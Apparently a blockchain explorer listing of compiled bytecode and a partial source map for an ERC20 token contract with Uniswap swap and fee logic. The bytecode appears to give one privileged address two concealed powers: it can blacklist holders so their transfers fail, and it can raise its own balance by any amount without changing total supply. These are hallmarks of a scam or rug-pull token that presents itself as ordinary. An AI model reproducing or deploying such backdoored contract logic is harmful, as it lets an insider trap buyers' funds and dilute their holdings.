573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611f1083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611921565b905092915050565b600080831415611f2b5760009050611f8d565b60008284611f39919061297e565b9050828482611f48919061294d565b14611f88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7f90612792565b60405180910390fd5b809150505b92915050565b6000611fd583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061203b565b905092915050565b6000808284611fec91906128f7565b905083811015612031576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202890612772565b60405180910390fd5b8091505092915050565b60008083118290612082576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120799190612710565b60405180910390fd5b5060008385612091919061294d565b9050809150509392505050565b6000813590506120ad81612bf5565b92915050565b6000815190506120c281612bf5565b92915050565b60008083601f8401126120da57600080fd5b8235905067ffffffffffffffff8111156120f357600080fd5b60208301915083602082028301111561210b57600080fd5b9250929050565b60008135905061212181612c0c565b92915050565b60008135905061213681612c23565b92915050565b60006020828403121561214e57600080fd5b600061215c8482850161209e565b91505092915050565b60006020828403121561217757600080fd5b6000612185848285016120b3565b91505092915050565b600080604083850312156121a157600080fd5b60006121af8582860161209e565b92505060206121c08582860161209e565b9150509250929050565b6000806000606084860312156121df57600080fd5b60006121ed8682870161209e565b93505060206121fe8682870161209e565b925050604061220f86828701612127565b9150509250925092565b6000806040838503121561222c57600080fd5b600061223a8582860161209e565b925050602061224b85828601612127565b9150509250929050565b60008060006040848603121561226a57600080fd5b600084013567ffffffffffffffff81111561228457600080fd5b612290868287016120c8565b935093505060206122a386828701612112565b9150509250925092565b6000602082840312156122bf57600080fd5b60006122cd84828501612127565b91505092915050565b60006122e283836122fd565b60208301905092915050565b6122f781612a1e565b82525050565b61230681612a0c565b82525050565b61231581612a0c565b82525050565b6000612326826128b2565b61233081856128d5565b935061233b836128a2565b8060005b8381101561236c57815161235388826122d6565b975061235e836128c8565b92505060018101905061233f565b5085935050505092915050565b61238281612a30565b82525050565b61239181612a73565b82525050565b6123a081612a97565b82525050565b60006123b1826128bd565b6123bb81856128e6565b93506123cb818560208601612aa9565b6123d481612be4565b840191505092915050565b60006123ec6023836128e6565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124526022836128e6565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124b8601b836128e6565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006124f86021836128e6565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061255e6020836128e6565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061259e6025836128e6565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006126046024836128e6565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61266681612a5c565b82525050565b61267581612a66565b82525050565b6000602082019050612690600083018461230c565b92915050565b60006020820190506126ab60008301846122ee565b92915050565b60006040820190506126c6600083018561230c565b6126d3602083018461230c565b9392505050565b60006020820190506126ef6000830184612379565b92915050565b600060208201905061270a6000830184612388565b92915050565b6000602082019050818103600083015261272a81846123a6565b905092915050565b6000602082019050818103600083015261274b816123df565b9050919050565b6000602082019050818103600083015261276b81612445565b9050919050565b6000602082019050818103600083015261278b816124ab565b9050919050565b600060208201905081810360008301526127ab816124eb565b9050919050565b600060208201905081810360008301526127cb81612551565b9050919050565b600060208201905081810360008301526127eb81612591565b9050919050565b6000602082019050818103600083015261280b816125f7565b9050919050565b6000602082019050612827600083018461265d565b92915050565b600060a082019050612842600083018861265d565b61284f6020830187612397565b8181036040830152612861818661231b565b9050612870606083018561230c565b61287d608083018461265d565b9695505050505050565b600060208201905061289c600083018461266c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061290282612a5c565b915061290d83612a5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561294257612941612b57565b5b828201905092915050565b600061295882612a5c565b915061296383612a5c565b92508261297357612972612b86565b5b828204905092915050565b600061298982612a5c565b915061299483612a5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129cd576129cc612b57565b5b828202905092915050565b60006129e382612a5c565b91506129ee83612a5c565b925082821015612a0157612a00612b57565b5b828203905092915050565b6000612a1782612a3c565b9050919050565b6000612a2982612a3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a7e82612a85565b9050919050565b6000612a9082612a3c565b9050919050565b6000612aa282612a5c565b9050919050565b60005b83811015612ac7578082015181840152602081019050612aac565b83811115612ad6576000848401525b50505050565b60006002820490506001821680612af457607f821691505b60208210811415612b0857612b07612bb5565b5b50919050565b6000612b1982612a5c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b4c57612b4b612b57565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612bfe81612a0c565b8114612c0957600080fd5b50565b612c1581612a30565b8114612c2057600080fd5b50565b612c2c81612a5c565b8114612c3757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d9ab0eeac1f51bb309e1d76d2480b398d831b0570daa5922f7d818f53dd38fe64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80636f268a99116100ab578063a9059cbb1161006f578063a9059cbb14610449578063c5d2418914610486578063c816841b146104b1578063c8607952146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b80636f268a991461036257806370a082311461038d5780638da5cb5b146103ca57806395d89b41146103f5578063a36d1de91461042057610140565b806323b872dd116100fd57806323b872dd14610240578063293230b81461027d578063313ce567146102945780633345611e146102bf5780633ecad271146102fc5780635b9073db1461033957610140565b806306fdde0314610145578063095ea7b3146101705780630ae95ba5146101ad5780631694505e146101ea57806318160ddd1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b6040516101679190612710565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612219565b6105ff565b6040516101a491906126da565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf919061213c565b61061d565b6040516101e191906126da565b60405180910390f35b3480156101f657600080fd5b506101ff61063d565b60405161020c91906126f5565b60405180910390f35b34801561022157600080fd5b5061022a610663565b6040516102379190612812565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906121ca565b61066d565b60405161027491906126da565b60405180910390f35b34801561028957600080fd5b50610292610747565b005b3480156102a057600080fd5b506102a9610b1f565b6040516102b69190612887565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e1919061213c565b610b36565b6040516102f391906126da565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e919061213c565b610b56565b60405161033091906126da565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190612255565b610b76565b005b34801561036e57600080fd5b50610377610cb2565b6040516103849190612696565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af919061213c565b610cd8565b6040516103c19190612812565b60405180910390f35b3480156103d657600080fd5b506103df610d21565b6040516103ec919061267b565b60405180910390f35b34801561040157600080fd5b5061040a610d4a565b6040516104179190612710565b60405180910390f35b34801561042c57600080fd5b50610447600480360381019061044291906122ad565b610ddc565b005b34801561045557600080fd5b50610470600480360381019061046b9190612219565b610ed9565b60405161047d91906126da565b60405180910390f35b34801561049257600080fd5b5061049b610ef8565b6040516104a89190612812565b60405180910390f35b3480156104bd57600080fd5b506104c6610efe565b6040516104d3919061267b565b60405180910390f35b3480156104e857600080fd5b506104f1610f24565b6040516104fe9190612812565b60405180910390f35b34801561051357600080fd5b5061052e6004803603810190610529919061218e565b610f2a565b60405161053b9190612812565b60405180910390f35b34801561055057600080fd5b5061056b6004803603810190610566919061213c565b610fb1565b005b60606001805461057c90612adc565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612adc565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c611103565b848461110b565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b600061067a8484846112d6565b5061073c84610687611103565b61073785604051806060016040528060288152602001612c3b60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ed611103565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119219092919063ffffffff16565b61110b565b600190509392505050565b61074f611103565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d3906127b2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561083b57600080fd5b505afa15801561084f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108739190612165565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d557600080fd5b505afa1580156108e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090d9190612165565b6040518363ffffffff1660e01b815260040161092a9291906126b1565b602060405180830381600087803b15801561094457600080fd5b505af1158015610958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097c9190612165565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb7611103565b73ffffffffffffffffffffffffffffffffffffffff16148015610bde575060008383905010155b610be757600080fd5b60005b83839050811015610cac578160096000868685818110610c33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610c48919061213c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ca490612b0e565b915050610bea565b50505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d5990612adc565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8590612adc565b8015610dd25780601f10610da757610100808354040283529160200191610dd2565b820191906000526020600020905b815481529060010190602001808311610db557829003601f168201915b5050505050905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e7f57600080fd5b60008382610e8d91906128f7565b905080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b6000610eed610ee6611103565b84846112d6565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb9611103565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d906127b2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611172906127f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e290612752565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c99190612812565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e906127d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae90612732565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561140e57600080fd5b600d60009054906101000a900460ff16156114355761142e848484611985565b905061191a565b600061144030610cd8565b9050600d60009054906101000a900460ff161580156114a95750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b8576114b781611b58565b5b61150a83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ece90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115f05750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115fd57839050611819565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561168057611679606461166b600a5488611f1890919063ffffffff16565b611f9390919063ffffffff16565b90506116fe565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116fd576116fa60646116ec600b5488611f1890919063ffffffff16565b611f9390919063ffffffff16565b90505b5b60008111156118025761175981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117f99190612812565b60405180910390a35b6118158186611ece90919063ffffffff16565b9150505b61186b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161190b9190612812565b60405180910390a36001925050505b9392505050565b6000838311158290611969576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119609190612710565b60405180910390fd5b506000838561197891906129d8565b9050809150509392505050565b6000611a10826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119219092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aa582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b459190612812565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be45781602001602082028036833780820191505090505b5090503081600081518110611c22577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc457600080fd5b505afa158015611cd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cfc9190612165565b81600181518110611d36577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9d30600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110b565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e0195949392919061282d565b600060405180830381600087803b158015611e1b57600080fd5b505af1925050508015611e2c575060015b611e3557611e36565b5b60004790506000811115611eae57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611eac573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611f1083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611921565b905092915050565b600080831415611f2b5760009050611f8d565b60008284611f39919061297e565b9050828482611f48919061294d565b14611f88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7f90612792565b60405180910390fd5b809150505b92915050565b6000611fd583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061203b565b905092915050565b6000808284611fec91906128f7565b905083811015612031576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202890612772565b60405180910390fd5b8091505092915050565b60008083118290612082576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120799190612710565b60405180910390fd5b5060008385612091919061294d565b9050809150509392505050565b6000813590506120ad81612bf5565b92915050565b6000815190506120c281612bf5565b92915050565b60008083601f8401126120da57600080fd5b8235905067ffffffffffffffff8111156120f357600080fd5b60208301915083602082028301111561210b57600080fd5b9250929050565b60008135905061212181612c0c565b92915050565b60008135905061213681612c23565b92915050565b60006020828403121561214e57600080fd5b600061215c8482850161209e565b91505092915050565b60006020828403121561217757600080fd5b6000612185848285016120b3565b91505092915050565b600080604083850312156121a157600080fd5b60006121af8582860161209e565b92505060206121c08582860161209e565b9150509250929050565b6000806000606084860312156121df57600080fd5b60006121ed8682870161209e565b93505060206121fe8682870161209e565b925050604061220f86828701612127565b9150509250925092565b6000806040838503121561222c57600080fd5b600061223a8582860161209e565b925050602061224b85828601612127565b9150509250929050565b60008060006040848603121561226a57600080fd5b600084013567ffffffffffffffff81111561228457600080fd5b612290868287016120c8565b935093505060206122a386828701612112565b9150509250925092565b6000602082840312156122bf57600080fd5b60006122cd84828501612127565b91505092915050565b60006122e283836122fd565b60208301905092915050565b6122f781612a1e565b82525050565b61230681612a0c565b82525050565b61231581612a0c565b82525050565b6000612326826128b2565b61233081856128d5565b935061233b836128a2565b8060005b8381101561236c57815161235388826122d6565b975061235e836128c8565b92505060018101905061233f565b5085935050505092915050565b61238281612a30565b82525050565b61239181612a73565b82525050565b6123a081612a97565b82525050565b60006123b1826128bd565b6123bb81856128e6565b93506123cb818560208601612aa9565b6123d481612be4565b840191505092915050565b60006123ec6023836128e6565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124526022836128e6565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124b8601b836128e6565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006124f86021836128e6565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061255e6020836128e6565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061259e6025836128e6565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006126046024836128e6565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61266681612a5c565b82525050565b61267581612a66565b82525050565b6000602082019050612690600083018461230c565b92915050565b60006020820190506126ab60008301846122ee565b92915050565b60006040820190506126c6600083018561230c565b6126d3602083018461230c565b9392505050565b60006020820190506126ef6000830184612379565b92915050565b600060208201905061270a6000830184612388565b92915050565b6000602082019050818103600083015261272a81846123a6565b905092915050565b6000602082019050818103600083015261274b816123df565b9050919050565b6000602082019050818103600083015261276b81612445565b9050919050565b6000602082019050818103600083015261278b816124ab565b9050919050565b600060208201905081810360008301526127ab816124eb565b9050919050565b600060208201905081810360008301526127cb81612551565b9050919050565b600060208201905081810360008301526127eb81612591565b9050919050565b6000602082019050818103600083015261280b816125f7565b9050919050565b6000602082019050612827600083018461265d565b92915050565b600060a082019050612842600083018861265d565b61284f6020830187612397565b8181036040830152612861818661231b565b9050612870606083018561230c565b61287d608083018461265d565b9695505050505050565b600060208201905061289c600083018461266c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061290282612a5c565b915061290d83612a5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561294257612941612b57565b5b828201905092915050565b600061295882612a5c565b915061296383612a5c565b92508261297357612972612b86565b5b828204905092915050565b600061298982612a5c565b915061299483612a5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129cd576129cc612b57565b5b828202905092915050565b60006129e382612a5c565b91506129ee83612a5c565b925082821015612a0157612a00612b57565b5b828203905092915050565b6000612a1782612a3c565b9050919050565b6000612a2982612a3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a7e82612a85565b9050919050565b6000612a9082612a3c565b9050919050565b6000612aa282612a5c565b9050919050565b60005b83811015612ac7578082015181840152602081019050612aac565b83811115612ad6576000848401525b50505050565b60006002820490506001821680612af457607f821691505b60208210811415612b0857612b07612bb5565b5b50919050565b6000612b1982612a5c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b4c57612b4b612b57565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612bfe81612a0c565b8114612c0957600080fd5b50565b612c1581612a30565b8114612c2057600080fd5b50565b612c2c81612a5c565b8114612c3757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d9ab0eeac1f51bb309e1d76d2480b398d831b0570daa5922f7d818f53dd38fe64736f6c63430008000033

Deployed Bytecode Sourcemap

3973:6571:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5520:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6009:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4449:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5472:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5829:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7972:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8444:469;;;;;;;;;;;;;:::i;:::-;;5738:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4340:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4397:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6273:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4222:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5611:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1651:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6178:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6544:264;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7797:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4501:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5974:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4543:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8293:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1857:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5520:83;5557:13;5590:5;5583:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5520:83;:::o;6009:161::-;6084:4;6101:39;6110:12;:10;:12::i;:::-;6124:7;6133:6;6101:8;:39::i;:::-;6158:4;6151:11;;6009:161;;;;:::o;4449:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;5472:41::-;;;;;;;;;;;;;:::o;5829:100::-;5882:7;5909:12;;5902:19;;5829:100;:::o;7972:313::-;8070:4;8087:36;8097:6;8105:9;8116:6;8087:9;:36::i;:::-;;8134:121;8143:6;8151:12;:10;:12::i;:::-;8165:89;8203:6;8165:89